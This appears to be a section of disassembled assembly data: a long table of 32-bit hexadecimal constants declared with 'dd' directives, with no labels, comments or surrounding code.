		dd 80A1CA0h, 0AE31DA0h,	2E31DA0h, 2001EA0h, 134820A0h
		dd 420024A0h, 20128A0h,	3802AA0h, 0C0A2DA0h, 15182DA0h
		dd 8082DA0h, 12805A0h, 42805A0h, 164B35A0h, 194B35A0h
		dd 20106A0h, 327744A0h,	840145A0h, 20107A0h, 215847A0h
		dd 14024BA0h, 0A304EA0h, 82054FA0h, 82064FA0h, 80150A0h
		dd 50250A0h, 28055A0h, 30157A0h, 50157A0h, 18009A0h, 28009A0h
		dd 1785CA0h, 2785CA0h, 86B360A0h, 4B360A0h, 10461A0h, 0D0761A0h
		dd 0FE0262A0h, 21462A0h, 10163A0h, 2806DA1h, 8030BA1h
		dd 8016EA1h, 10D6EA1h, 30A6FA1h, 15E870A1h, 22E870A1h
		dd 0CC0172A1h, 0C7C072A1h, 184072A1h, 99073A1h,	19373A1h
		dd 10174A1h, 15D74A1h, 813377A1h, 30C7AA1h, 10D7CA1h, 2010DA1h
		dd 0D07082A1h, 3E082A1h, 38185A1h, 40186A1h, 81088A1h
		dd 0F4288A1h, 2108BA1h,	0A8A88BA1h, 11028EA1h, 11E38EA1h
		dd 80194A1h, 13F95A1h, 7C230FA1h, 7D230FA1h, 0FC8196A1h
		dd 0FD8196A1h, 26E9BA1h, 36E9BA1h, 4069FA1h, 7CC0A5A1h
		dd 7DC0A5A1h, 3CC0A5A1h, 3DC0A5A1h, 1FABCA1h, 2FABCA1h
		dd 341C3A1h, 0C8C0C8A1h, 4C0C8A1h, 101CFA1h, 65D6D2A1h
		dd 64D8D2A1h, 65D8D2A1h, 0DD8ED3A1h, 0A90D5A1h,	0B90D5A1h
		dd 9A13D7A1h, 27CD8A1h,	5FC16A1h, 201DFA1h, 1904E2A1h
		dd 9F9E7A1h, 2201E8A1h,	21718A1h, 1DFE18A1h, 1E94F2A1h
		dd 1E03F2A1h, 14FEF3A1h, 0D403F3A1h, 1F34F6A1h,	206FDA1h
		dd 506FEA1h, 606FEA1h, 1141AA1h, 0AE01CA1h, 0B0103A1h
		dd 82D31EA1h, 0CD01FA1h, 31120A1h, 10321A1h, 0B5104A1h
		dd 0AFE28A1h, 4C12DA1h,	25192DA1h, 1402DA1h, 10105A1h
		dd 30105A1h, 23032A1h, 33032A1h, 70335A1h, 0FD8636A1h
		dd 27C37A1h, 32037A1h, 20539A1h, 30539A1h, 72863AA1h, 62863AA1h
		dd 2D9E3AA1h, 16A03AA1h, 9A03AA1h, 0A093AA1h, 1F093AA1h
		dd 11206A1h, 71206A1h, 10340A1h, 20340A1h, 140142A1h, 4F142A1h
		dd 0A2607A1h, 0B2607A1h, 3A947A1h, 0FAAB47A1h, 10149A1h
		dd 0A5C4AA1h, 1094CA1h,	0F64662A1h, 0F74662A1h,	420201A2h
		dd 1B8169A2h, 5076AA2h,	82F06BA2h, 1D1270A2h, 5A1872A2h
		dd 1F872A2h, 2F872A2h, 641D74A2h, 4BA275A2h, 5E977A2h
		dd 5F177A2h, 2F479A2h, 3037EA2h, 25047EA2h, 0A1481A2h
		dd 20D8BA2h, 64408CA2h,	1070FA2h, 84B12A2h, 0D26F02A2h
		dd 0D20918A2h, 0FE0918A2h, 336526A2h, 0BA427A2h, 21962AA2h
		dd 2F52CA2h, 42A72FA2h,	43A72FA2h, 0AFE30A2h, 20132A2h
		dd 10A39A2h, 30A39A2h, 68233AA2h, 1D906A2h, 7CCC42A2h
		dd 7DCC42A2h, 14F446A2h, 34634AA2h, 0E014BA2h, 2034FA2h
		dd 5034FA2h, 111A50A2h,	0C0059A2h, 0FB1C5EA2h, 0C0660A2h
		dd 0F0660A2h, 140363A2h, 43000AA3h, 1F8375A3h, 10576A3h
		dd 3FE77A3h, 7FE77A3h, 35050CA3h, 10178A3h, 20279A3h, 1017DA3h
		dd 2017DA3h, 4407EA3h, 0CFE81A3h, 3C010DA3h, 0C92086A3h
		dd 0E8C187A3h, 160A88A3h, 170A88A3h, 1F038AA3h,	20038AA3h
		dd 1F4E8AA3h, 204E8AA3h, 1C98BA3h, 2C98BA3h, 24C98BA3h
		dd 0A4E68BA3h, 0A5E68BA3h, 3048CA3h, 81648EA3h,	43C8EA3h
		dd 32B58FA3h, 33B58FA3h, 26091A3h, 10394A3h, 10196A3h
		dd 902197A3h, 912197A3h, 10198A3h, 20299A3h, 0A50499A3h
		dd 0C0110A3h, 10FCA0A3h, 104A2A3h, 0A9AA6A3h, 99AA6A3h
		dd 0F50A7A3h, 1E50A7A3h, 0FCD4A8A3h, 1BC11A3h, 680ADA3h
		dd 0A04B0A3h, 208B2A3h,	3510B4A3h, 3661B4A3h, 112B9A3h
		dd 1812B9A3h, 2407BDA3h, 1EA13A3h, 63B7BFA3h, 0A01C0A3h
		dd 9901C3A3h, 0ED01C3A3h, 29D14A3h, 5A314A3h, 161C8A3h
		dd 3C01CFA3h, 3D01CFA3h, 501D1A3h, 0D49D1A3h, 5EC15A3h
		dd 7EC15A3h, 0C0AD2A3h,	320D4A3h, 420D4A3h, 335D6A3h, 903D7A3h
		dd 1A516A3h, 0D50DDA3h,	100DFA3h, 84FAE0A3h, 20AE1A3h
		dd 80AE1A3h, 0A02E2A3h,	706E2A3h, 19417A3h, 0BB817A3h
		dd 0C8FEE6A3h, 1E5E7A3h, 1F5E7A3h, 1403E9A3h, 1114EAA3h
		dd 101EFA3h, 1A318A3h, 1EF18A3h, 42E0F2A3h, 101F5A3h, 6410F6A3h
		dd 6420F6A3h, 6430F6A3h, 6405F6A3h, 6460F6A3h, 6F36F7A3h
		dd 523F8A3h, 200FBA3h, 15FFCA3h, 1781BA3h, 10F1BA3h, 65011CA3h
		dd 2011CA3h, 1701CA3h, 1711CA3h, 1811CA3h, 1601CA3h, 0C8AF1DA3h
		dd 1E71DA3h, 12FD03A3h,	390B28A3h, 0C3E29A3h, 15A2AA3h
		dd 1E02CA3h, 15082EA3h,	16082EA3h, 1142FA3h, 2142FA3h
		dd 10130A3h, 20130A3h, 0C70233A3h, 14436A3h, 1E03DA3h
		dd 1D0207A3h, 20109A3h,	0AA1B0AA4h, 41200AA4h, 10364A4h
		dd 20166A4h, 1B0168A4h,	1D0168A4h, 0B7669A4h, 295669A4h
		dd 1016AA4h, 1026AA4h, 3016DA4h, 170A6DA4h, 0A640BA4h
		dd 0B3646EA4h, 1F970A4h, 0F2C071A4h, 2EE71A4h, 0FA5C71A4h
		dd 28072A4h, 38072A4h, 19075A4h, 10177A4h, 20077AA4h, 1F657CA4h
		dd 2097DA4h, 222480A4h,	274C80A4h, 250181A4h, 42820EA4h
		dd 63820EA4h, 2E7991A4h, 0C83B0FA4h, 0F0A99A4h,	30A99A4h
		dd 2029AA4h, 21B9CA4h, 51B9CA4h, 2FA9EA4h, 3FA9EA4h, 6528A1A4h
		dd 108A1A4h, 101A3A4h, 504A4A4h, 6243A5A4h, 6343A5A4h
		dd 148AA7A4h, 3C8BEA4h,	17CC3A4h, 37CC3A4h, 0F1FF02A4h
		dd 5002D6A4h, 0A02DAA4h, 14C2DCA4h, 4901DFA4h, 5B01DFA4h
		dd 56FAE0A4h, 2E8E5A4h,	3E8E5A4h, 263E6A4h, 363E6A4h, 462E7A4h
		dd 5B903A4h, 5C303A4h, 649923A4h, 14A424A4h, 2B826A4h
		dd 380827A4h, 71104A4h,	46529A4h, 2642AA4h, 17F2BA4h, 96022DA4h
		dd 1012EA4h, 3EC22FA4h,	0B0D39A4h, 90D39A4h, 0CAE93AA4h
		dd 0AFD3AA4h, 4FD3AA4h,	15073EA4h, 16073EA4h, 20140A4h
		dd 50340A4h, 18043A4h, 28043A4h, 38043A4h, 82943A4h, 20144A4h
		dd 150144A4h, 850147A4h, 58049A4h, 42664CA4h, 640108A4h
		dd 0A0A08A4h, 646408A4h, 40151A4h, 50151A4h, 0F3FF55A4h
		dd 0B6656A4h, 640157A4h, 3FD59A4h, 0A065CA4h, 14065CA4h
		dd 51015EA4h, 653B01A5h, 13D864A5h, 5016AA5h, 1026FA5h
		dd 50172A5h, 0C3E73A5h,	20179A5h, 20279A5h, 15317CA5h
		dd 0A007DA5h, 0A107DA5h, 15147FA5h, 140281A5h, 1B020DA5h
		dd 150A84A5h, 290A84A5h, 190186A5h, 31486A5h, 1018BA5h
		dd 5A40EA5h, 42218DA5h,	3FA8EA5h, 64808FA5h, 91548FA5h
		dd 0F11597A5h, 1699AA5h, 2699AA5h, 1F8C9AA5h, 208C9AA5h
		dd 2019EA5h, 23E9FA5h, 63FBA0A5h, 15F0A2A5h, 2086A4A5h
		dd 200A6A5h, 300A6A5h, 320B0A5h, 15DB7A5h, 0F560B7A5h
		dd 242BBA5h, 3360BDA5h,	1C08BEA5h, 1502BFA5h, 101C2A5h
		dd 8300C4A5h, 0C85FC6A5h, 1103C7A5h, 1F03C7A5h,	2BA02A5h
		dd 0FEFECEA5h, 0F835CEA5h, 0FB35CEA5h, 0FD35CEA5h, 0B5315A5h
		dd 101DCA5h, 703DCA5h, 2C0E1A5h, 2C2E1A5h, 2C4E1A5h, 101E3A5h
		dd 0A02E3A5h, 30BE5A5h,	50BE5A5h, 8390E6A5h, 4C04E6A5h
		dd 2840EAA5h, 1D0518A5h, 510518A5h, 2128F2A5h, 0F05F3A5h
		dd 1005F3A5h, 20AF6A5h,	345BFAA5h, 355BFAA5h, 3365FEA5h
		dd 3375FEA5h, 3475FEA5h, 0FEA3FEA5h, 3302FEA5h,	6331EA5h
		dd 208306A5h, 1B0606A5h, 80641A5h, 0FA2744A5h, 0FA2944A5h
		dd 0F10145A5h, 0F90145A5h, 62004CA5h, 20C4CA5h,	20D4CA5h
		dd 2F04CA5h, 2034CA5h, 0AA044CA5h, 2044CA5h, 2304CA5h
		dd 2054CA5h, 2384CA5h, 2084CA5h, 2094CA5h, 140D08A5h, 1E0152A5h
		dd 36454A5h, 0F4C257A5h, 0F3C957A5h, 0F4C957A5h, 15C758A5h
		dd 0FF958A5h, 3F205BA5h, 20B5DA5h, 40B5DA5h, 90A61A5h
		dd 20162A5h, 0CA566A6h,	0EA566A6h, 61B68A6h, 22FA6BA6h
		dd 4FE6DA6h, 6FE6DA6h, 8EC870A6h, 0A0571A6h, 280172A6h
		dd 9017FA6h, 645414A6h,	26063CA6h, 13641A6h, 858644A6h
		dd 0BE6E49A6h, 0B0C4DA6h, 0D3EB4DA6h, 30152A6h,	80152A6h
		dd 78EB52A6h, 0A0458A6h, 2D25AA6h, 2FE5BA6h, 3015DA6h
		dd 2085DA6h, 0D97564A7h, 0C8E56BA7h, 3A070A7h, 7A070A7h
		dd 3FD72A7h, 380079A7h,	3D0979A7h, 5F081A7h, 0D85D82A7h
		dd 0A6FD84A7h, 33FD84A7h, 837A87A7h, 0DEE188A7h, 0DEEB88A7h
		dd 0E138CA7h, 5E18EA7h,	6E18EA7h, 10F96A7h, 20F96A7h, 2069BA7h
		dd 0B019DA7h, 67710A7h,	5C0A0A7h, 6C0A0A7h, 5F8A6A7h, 204A9A7h
		dd 318B9A7h, 0BC3CAA7h,	0CC3CAA7h, 616FCBA7h, 7B16CDA7h
		dd 117CDA7h, 6701CEA7h,	1E01CEA7h, 24DCEA7h, 0BE8D0A7h
		dd 780115A7h, 156CD5A7h, 201D8A7h, 2380D8A7h, 2480D8A7h
		dd 0E8C1D8A7h, 2AFAD8A7h, 0A02D9A7h, 0CFBDAA7h,	0DF817A7h
		dd 0EF817A7h, 0FF817A7h, 8AE3E6A7h, 8BE3E6A7h, 1B0EFA7h
		dd 3B0EFA7h, 0C6518A7h,	0C86818A7h, 3FDF0A7h, 0A01FBA7h
		dd 0B01FBA7h, 7A3503A7h, 7A0803A7h, 41521A7h, 250104A7h
		dd 830A07A7h, 830B07A7h, 0B9F4CA7h, 0A014EA7h, 635B4FA7h
		dd 5045AA7h, 2055AA7h, 0F735CA7h, 0C015DA7h, 0E015DA7h
		dd 1025EA7h, 2025EA7h, 20164A8h, 30164A8h, 0A1065A8h, 0B1065A8h
		dd 0E1066A8h, 0F1066A8h, 526867A8h, 10867A8h, 1026AA8h
		dd 20D6CA8h, 830A6FA8h,	322073A8h, 332073A8h, 32027BA8h
		dd 0A047BA8h, 13F7EA8h,	23F7EA8h, 52183A8h, 10184A8h, 4008FA8h
		dd 6008FA8h, 70190A8h, 0BE0191A8h, 1FD96A8h, 2FD96A8h
		dd 0A1A9AA8h, 2019FA8h,	1039FA8h, 1901A0A8h, 6401A5A8h
		dd 4302A6A8h, 22A8A7A8h, 1508A9A8h, 1608A9A8h, 2219AAA8h
		dd 303ABA8h, 0A2CABA8h,	3201B0A8h, 0A02B0A8h, 4500B8A8h
		dd 4600B8A8h, 101BCA8h,	19C8BEA8h, 0C03BEA8h, 0A08CBA8h
		dd 608CBA8h, 1FECDA8h, 2FECDA8h, 0F9D7D0A8h, 0FAD7D0A8h
		dd 180D5A8h, 880D5A8h, 235AD7A8h, 5C9DBA8h, 0B40DCA8h
		dd 9615DDA8h, 0C815DDA8h, 302DFA8h, 1403DFA8h, 131E2A8h
		dd 331E2A8h, 104E5A8h, 26AEAA8h, 4220EAA8h, 180EEA8h, 0F9F218A8h
		dd 0EDDCF1A8h, 0EFF2F1A8h, 1FEF3A8h, 6501FEA8h,	130127A8h
		dd 0A114BA8h, 0B114BA8h, 2084DA8h, 20204EA8h, 1015BA8h
		dd 15155DA8h, 19195DA8h, 1015FA8h, 2015FA8h, 1C05FA8h
		dd 2C05FA8h, 3C05FA8h, 28060A8h, 436361A8h, 86C962A8h
		dd 87C962A8h, 10183A9h,	30183A9h, 18584A9h, 0AA986A9h
		dd 0B0187A9h, 1C0187A9h, 2D48AA9h, 74490A9h, 16093A9h
		dd 26093A9h, 65D894A9h,	130297A9h, 64F98A9h, 28CA99A9h
		dd 29CA99A9h, 17AF9DA9h, 18AF9DA9h, 88809EA9h, 1501C6A9h
		dd 1601C6A9h, 101C7A9h,	8819C8A9h, 8919C8A9h, 80CCEA9h
		dd 4802CFA9h, 6401E2A9h, 6701E2A9h, 0FA01EDA9h,	0FAFAEDA9h
		dd 1FEF5A9h, 2FEF5A9h, 0B0147A9h, 18E67AAh, 0C8C86BAAh
		dd 0CAC86BAAh, 0FDCC6CAAh, 26D66EAAh, 220170AAh, 0AF973AAh
		dd 649D76AAh, 659D76AAh, 0AFA7AAAh, 200B7DAAh, 91AF80AAh
		dd 1018CAAh, 1028CAAh, 96018EAAh, 4A018EAAh, 421A91AAh
		dd 0A32D93AAh, 0A42D93AAh, 0A9C94AAh, 0A2494AAh, 34099AAh
		dd 64099AAh, 5019BAAh, 29019EAAh, 9029EAAh, 0FD04A0AAh
		dd 0FE04A0AAh, 3F8A3AAh, 4232A4AAh, 1404A7AAh, 1406A7AAh
		dd 0CB2EA9AAh, 8EA511AAh, 8FA511AAh, 96FBABAAh,	13FCABAAh
		dd 0B05BCAAh, 3329C9AAh, 15E1CEAAh, 15E3CEAAh, 8240DEAAh
		dd 1120DFAAh, 0A03EBAAh, 1403EBAAh, 5F8FCAAh, 49CFDAAh
		dd 4ECFDAAh, 10803AAh, 0FDF01EAAh, 0FEF01EAAh, 636326AAh
		dd 0C8C82EAAh, 2012FAAh, 0D7737AAh, 353A38AAh, 216A41AAh
		dd 20142AAh, 30142AAh, 321544AAh, 5104CAAh, 151255AAh
		dd 0E015CAAh, 1015EAAh,	16C63AAh, 0FC09FABh, 0F409FABh
		dd 0FA0A1ABh, 0FE0A1ABh, 0F60A1ABh, 60113ABh, 9FE18ABh
		dd 1001FABh, 0D20240ABh, 0DC0240ABh, 0E60240ABh, 647942ABh
		dd 24E842ABh, 5F0548ABh, 3004812h, 7E2200C0h, 25064C0h
		dd 35E64C0h, 95E64C0h, 147965C0h, 11565C0h, 0AFA65C0h
		dd 7FA65C0h, 2A766C0h, 643F67C0h, 16B68C0h, 13668C0h, 1016AC0h
		dd 9016AC0h, 9A766BC0h,	21FC6BC0h, 21826CC0h, 0B836CC0h
		dd 3226CC0h, 1B06DC0h, 2BE6DC0h, 21026DC0h, 0A9DE0BC0h
		dd 0A9DF0BC0h, 0A9E20BC0h, 0F57B6FC0h, 1276FC0h, 4276FC0h
		dd 6DB70C0h, 0CAF670C0h, 0CDF670C0h, 213C70C0h,	9C074C0h
		dd 63CA74C0h, 58C0CC0h,	5450CC0h, 1070CC0h, 2FC7FC0h, 4D8580C0h
		dd 4DA780C0h, 13781C0h,	30183C0h, 129183C0h, 3D584C0h
		dd 2F0384C0h, 300384C0h, 11C85C0h, 71C85C0h, 0E72A85C0h
		dd 52A85C0h, 310086C0h,	13D886C0h, 140B87C0h, 16B087C0h
		dd 1BF87C0h, 3BF87C0h, 47C187C0h, 9C187C0h, 45FA87C0h
		dd 46FA87C0h, 21888C0h,	21978AC0h, 2B978AC0h, 42558AC0h
		dd 45558AC0h, 82988BC0h, 0A19792C0h, 0AC9792C0h, 410D93C0h
		dd 424193C0h, 634193C0h, 2E4593C0h, 24993C0h, 0A0194C0h
		dd 57A94C0h, 1EF994C0h,	2BFC94C0h, 2DD695C0h, 0F70B96C0h
		dd 1E0B96C0h, 18C98C0h,	111298C0h, 0C9B798C0h, 169C99C0h
		dd 39C99C0h, 0A2299C0h,	142299C0h, 12399C0h, 16419BC0h
		dd 1B419BC0h, 220D9CC0h, 230D9CC0h, 0F869CC0h, 10869CC0h
		dd 1C49CC0h, 3C49CC0h, 221A9CC0h, 22259CC0h, 22059CC0h
		dd 22439CC0h, 22449CC0h, 22499CC0h, 824E9CC0h, 0A829DC0h
		dd 0F4C9FC0h, 1C710C0h,	0BCA10C0h, 10DA0C0h, 20DA0C0h
		dd 5B8A0C0h, 5A06A0C0h,	5B06A0C0h, 423EA0C0h, 1510A2C0h
		dd 1F10A2C0h, 321A9C0h,	1AAABC0h, 21012C0h, 8F012C0h, 56312C0h
		dd 0C6BBCC0h, 1248BCC0h, 1548BCC0h, 8270BDC0h, 5B7BDC0h
		dd 1136BDC0h, 2136BDC0h, 378C0C0h, 0FBC7C0C0h, 4E3C0C0h
		dd 31FC0C0h, 12DC0C0h, 132C0C0h, 6E06C0C0h, 7806C0C0h
		dd 0F4DC0C0h, 54DC0C0h,	0C3C3C1C0h, 0ECC4C3C0h,	19C4C3C0h
		dd 1F0C3C0h, 90F5C3C0h,	265C5C0h, 0FD65C5C0h, 0E194C5C0h
		dd 1A2C5C0h, 0F1B5C5C0h, 82BFC5C0h, 1445C5C0h, 8347C5C0h
		dd 153C5C0h, 0A35C6C0h,	0A36C6C0h, 4E114C0h, 286CBC0h
		dd 18CCBC0h, 4711CBC0h,	129CBC0h, 1160CCC0h, 21DCEC0h
		dd 0FD2BCEC0h, 0FE2BCEC0h, 48E2CFC0h, 0AF8CFC0h, 138CFC0h
		dd 7A0AD2C0h, 140AD2C0h, 1320D7C0h, 1411D8C0h, 3B8D8C0h
		dd 8DDD8C0h, 1FEDBC0h, 7FADCC0h, 7FBDCC0h, 121E1C0h, 0B80E4C0h
		dd 1280E4C0h, 1480E4C0h, 18FE7C0h, 2CBE7C0h, 3CBE7C0h
		dd 2D7E7C0h, 0FBD7E7C0h, 0F2FDE7C0h, 156E7C0h, 0FD79E8C0h
		dd 0BF7FE8C0h, 4207E8C0h, 691E9C0h, 8155E9C0h, 82EBEAC0h
		dd 27DEDC0h, 147DEDC0h,	8110EFC0h, 242EFC0h, 846EFC0h
		dd 587F0C0h, 0A20F3C0h,	9920F3C0h, 320CF5C0h, 1A3F5C0h
		dd 0C8B0F5C0h, 3E18F9C0h, 4D5FBC0h, 5D5FBC0h, 8443FBC0h
		dd 943FBC0h, 4771AC0h, 7771AC0h, 1D21AC0h, 1E5C1AC0h, 1A041CC0h
		dd 56A1FC0h, 2AE1FC0h, 9D81FC0h, 5C071FC0h, 5D071FC0h
		dd 27321C0h, 1E0E21C0h,	0D49C23C0h, 0E1123C0h, 21123C0h
		dd 1EE323C0h, 1EE423C0h, 22E823C0h, 46F123C0h, 47F123C0h
		dd 1F2323C0h, 182723C0h, 1E3323C0h, 325223C0h, 0B7824C0h
		dd 27D24C0h, 38F24C0h, 859024C0h, 119424C0h, 11C24C0h
		dd 0A0129C0h, 1F0129C0h, 239429C0h, 8DE29C0h, 2EE2AC0h
		dd 27042AC0h, 3B522AC0h, 1E5D2AC0h, 64D42BC0h, 12EB2BC0h
		dd 1202CC0h, 1252CC0h, 0C23F2CC0h, 0ADA72FC0h, 7F22FC0h
		dd 817930C0h, 11E830C0h, 0CA605C0h, 0C31205C0h,	461205C0h
		dd 851B05C0h, 861B05C0h, 0D13505C0h, 1E0605C0h,	49A32C0h
		dd 21132C0h, 93832C0h, 70832C0h, 69033C0h, 23FA33C0h, 112A33C0h
		dd 66A34C0h, 6EC34C0h, 154734C0h, 44734C0h, 85C136C0h
		dd 0FE236C0h, 10E236C0h, 66FD36C0h, 0DEA37C0h, 3FBF38C0h
		dd 0AC73AC0h, 11C73AC0h, 0ACC73AC0h, 0AEC73AC0h, 0B0C73AC0h
		dd 0B2C73AC0h, 71CC3AC0h, 2CE3AC0h, 7E23AC0h, 1D8F06C0h
		dd 1E8F06C0h, 1D0306C0h, 80706C0h, 283D3DC0h, 36643FC0h
		dd 1EB641C0h, 4B641C0h,	0AB941C0h, 0EDA41C0h, 815B41C0h
		dd 0F0E43C0h, 100E43C0h, 110E43C0h, 7FB43C0h, 0A5043C0h
		dd 46E344C0h, 11F844C0h, 12F844C0h, 0B0107C0h, 6EAF46C0h
		dd 62F546C0h, 1C3946C0h, 0B4F46C0h, 0A69447C0h,	0C69447C0h
		dd 0ADC47C0h, 0DDC47C0h, 9DC47C0h, 10549C0h, 33549C0h
		dd 43549C0h, 13D49C0h, 33D49C0h, 40849C0h, 650D4BC0h, 7D0D4BC0h
		dd 0F49C4BC0h, 0F59C4BC0h, 0FA9C4BC0h, 349E4BC0h, 43174BC0h
		dd 0F1A4BC0h, 111A4BC0h, 81424BC0h, 27474BC0h, 0E904CC0h
		dd 0F904CC0h, 11904CC0h, 42904CC0h, 2974CC0h, 9984CC0h
		dd 49D4CC0h, 9B04CC0h, 11B14CC0h, 19B14CC0h, 81524CC0h
		dd 82524CC0h, 3744DC0h,	48744DC0h, 0ACD4DC0h, 3334DC0h
		dd 5334DC0h, 20544DC0h,	27544DC0h, 266C52C0h, 77152C0h
		dd 36D052C0h, 0C19F53C0h, 0C29F53C0h, 0BA653C0h, 9BD53C0h
		dd 82E053C0h, 13E753C0h, 0AF053C0h, 0A0A54C0h, 30A54C0h
		dd 53F54C0h, 4E9A55C0h,	0F1055C0h, 0A4756C0h, 646356C0h
		dd 0C86356C0h, 656A57C0h, 36C57C0h, 22B057C0h, 621757C0h
		dd 22457C0h, 817A58C0h,	90C158C0h, 0AC358C0h, 960858C0h
		dd 33009C0h, 30909C0h, 60909C0h, 27F5AC0h, 37F5AC0h, 5935BC0h
		dd 8735CC0h, 17C5CC0h, 37C5CC0h, 1815CC0h, 238A5CC0h, 20E5CC0h
		dd 0A515CC0h, 1005DC0h,	4005DC0h, 187B5EC0h, 85AD5EC0h
		dd 42CF5EC0h, 1035EC0h,	15062C0h, 0C10000C1h, 0B5000C1h
		dd 0C2C101C1h, 0C3420AC1h, 857068C1h, 35D26BC1h, 36D26BC1h
		dd 2D896CC1h, 0E3B971C1h, 0E4B971C1h, 0E5B971C1h, 0E6B971C1h
		dd 26D471C1h, 41B20CC1h, 0B3478C1h, 41167CC1h, 20E47CC1h
		dd 45537CC1h, 3987DC1h,	51C07DC1h, 41047EC1h, 2017FC1h
		dd 9017FC1h, 471B7FC1h,	2D5180C1h, 0A9287C1h, 30088C1h
		dd 0AC088C1h, 110788C1h, 0F00988C1h, 1288DC1h, 2A288DC1h
		dd 1438DC1h, 0A29F92C1h, 312C95C1h, 32F00FC1h, 32A696C1h
		dd 52498C1h, 62498C1h, 0B0310C1h, 8291A2C1h, 0C29FA2C1h
		dd 5F0A2C1h, 2A0A4C1h, 8FEA5C1h, 9FEA5C1h, 183A7C1h, 2FFABC1h
		dd 42FFABC1h, 4DFFABC1h, 294AAEC1h, 6E4BAEC1h, 7E4BAEC1h
		dd 8E4BAEC1h, 924BAEC1h, 964BAEC1h, 9A4BAEC1h, 0A24BAEC1h
		dd 0A64BAEC1h, 0AE4BAEC1h, 948AFC1h, 0AA24B4C1h, 2A3CB9C1h
		dd 2E0BDC1h, 0C2E7BDC1h, 2E7BDC1h, 23B6BEC1h, 0AC6BEC1h
		dd 2C6BEC1h, 3E3C0C1h, 0FFBC0C1h, 420102C1h, 480102C1h
		dd 0F80402C1h, 810FC8C1h, 850FC8C1h, 5F5CDC1h, 42F5CDC1h
		dd 8F5CDC1h, 0FACAD0C1h, 1212D2C1h, 1412D2C1h, 1313D2C1h
		dd 0BE13D2C1h, 3B3ED3C1h, 0A01D4C1h, 195FD4C1h,	1A5FD4C1h
		dd 2EED5C1h, 82F2D7C1h,	0A01D8C1h, 0A45D8C1h, 110FDBC1h
		dd 82C1DBC1h, 87C1DBC1h, 1D1E0C1h, 3A0CE1C1h, 156E1C1h
		dd 101E3C1h, 0A7A2E3C1h, 2800E5C1h, 2A00E5C1h, 1158E8C1h
		dd 11C0E9C1h, 930E9C1h,	100F1C1h, 22B4F7C1h, 0A13FCC1h
		dd 0B13FCC1h, 2121EC1h,	37126C1h, 333A04C1h, 343A04C1h
		dd 0C0028C1h, 0F53828C1h, 1022BC1h, 37242BC1h, 9242BC1h
		dd 84F2CC1h, 28A930C1h,	77C31C1h, 0C2AF05C1h, 0C3AF05C1h
		dd 421B32C1h, 10B33C1h,	0DD033C1h, 11833C1h, 63B936C1h
		dd 3BD36C1h, 33EE36C1h,	0CF138C1h, 1BC93BC1h, 1CC93BC1h
		dd 25C93BC1h, 2EE06C1h,	2923CC1h, 83C43DC1h, 84C43DC1h
		dd 10733EC1h, 429D3EC1h, 0F7033EC1h, 11693FC1h,	676A3FC1h
		dd 13D33FC1h, 1373FC1h,	0B583FC1h, 145E3FC1h, 7CC140C1h
		dd 84C140C1h, 864F43C1h, 0FC0344C1h, 0BA0A45C1h, 20147C1h
		dd 0AB048C1h, 89D04AC1h, 8BD04AC1h, 14B4BC1h, 42024DC1h
		dd 1F04EC1h, 25351C1h, 12B352C1h, 0C0155C1h, 320355C1h
		dd 0C6457C1h, 162C58C1h, 1D2C58C1h, 242C58C1h, 2A2C58C1h
		dd 2A8609C1h, 2095AC1h,	16E5CC1h, 3965CC1h, 131E5CC1h
		dd 50962C1h, 10064C2h, 0B0064C2h, 6F0064C2h, 1E069C2h
		dd 14E369C2h, 428F6AC2h, 42066DC2h, 63096DC2h, 0D86270C2h
		dd 403B71C2h, 49D75C2h,	418077C2h, 428077C2h, 22C077C2h
		dd 600C78C2h, 27E78C2h,	612D7BC2h, 0FA8280C2h, 64AB80C2h
		dd 65AB80C2h, 63AB80C2h, 1FD80C2h, 833A85C2h, 0C0086C2h
		dd 430086C2h, 30D87C2h,	0BF08AC2h, 6BA18FC2h, 19A38FC2h
		dd 52A38FC2h, 0A0194C2h, 0A0894C2h, 9D0095C2h, 1A095C2h
		dd 47BE97C2h, 160297C2h, 4D0297C2h, 7E097C2h, 2E497C2h
		dd 32E497C2h, 12FD97C2h, 0DE4198C2h, 120099C2h,	330099C2h
		dd 0A0199C2h, 63109AC2h, 4AE69AC2h, 1859EC2h, 0AA09EC2h
		dd 0FEBF9EC2h, 35E69EC2h, 36E69EC2h, 43609EC2h,	43619EC2h
		dd 5499FC2h, 118DA2C2h,	120FA2C2h, 0C2A2A2C2h, 5FCA3C2h
		dd 15EA5C2h, 55EA5C2h, 0DC04A8C2h, 0DC08A8C2h, 601AAC2h
		dd 701AAC2h, 6301AAC2h,	0E73AFC2h, 2E0B0C2h, 22A0B1C2h
		dd 2AAB1C2h, 22AAB1C2h,	0D2D2B1C2h, 0D3D2B1C2h,	6401B3C2h
		dd 6501B3C2h, 1E012C2h,	0A2E012C2h, 8270B7C2h, 2670B7C2h
		dd 4670B7C2h, 2380B7C2h, 2480B7C2h, 1DAB7C2h, 0BDAB7C2h
		dd 231B7C2h, 200B8C2h, 800B8C2h, 367BCC2h, 29813C2h, 84BBC0C2h
		dd 2116C0C2h, 1764C5C2h, 451C5C2h, 20002C2h, 1E0002C2h
		dd 3C0002C2h, 0E6E602C2h, 0E7E602C2h, 6F0014C2h, 720014C2h
		dd 10814C2h, 40814C2h, 2298CCC2h, 19FCCC2h, 0F2ACCDC2h
		dd 100CFC2h, 8100CFC2h,	1E06CFC2h, 224A15C2h, 2140D5C2h
		dd 14AD5C2h, 3BE2D7C2h,	23CD8C2h, 2E3DBC2h, 0EC216C2h
		dd 12C216C2h, 13C216C2h, 0D363DDC2h, 130E0C2h, 5346E1C2h
		dd 5946E1C2h, 180E2C2h,	441E2C2h, 101E4C2h, 102E4C2h, 2302E4C2h
		dd 28817C2h, 88817C2h, 0B39E6C2h, 1828E7C2h, 522AE7C2h
		dd 33EE7C2h, 230EEC2h, 330EEC2h, 5486EFC2h, 22C118C2h
		dd 4AC418C2h, 4DC418C2h, 3E9AF3C2h, 165F5C2h, 3B60F6C2h
		dd 1A0F7C2h, 8A0F7C2h, 2F2FF7C2h, 140F7C2h, 240F7C2h, 7D0019C2h
		dd 0B0F19C2h, 820219C2h, 0EF9FAC2h, 3BB6FBC2h, 1BE03C2h
		dd 128326C2h, 38326C2h,	2DA27C2h, 2DB27C2h, 0A3C29C2h
		dd 103C29C2h, 64C52DC2h, 2082EC2h, 3082EC2h, 2EE33C2h
		dd 310333C2h, 0A0134C2h, 790A34C2h, 12AC34C2h, 0F2ED34C2h
		dd 0F0DF37C2h, 728939C2h, 0DC639C2h, 11BC3BC2h,	38006C2h
		dd 48006C2h, 0A24F06C2h, 0A34F06C2h, 10F40C2h, 140341C2h
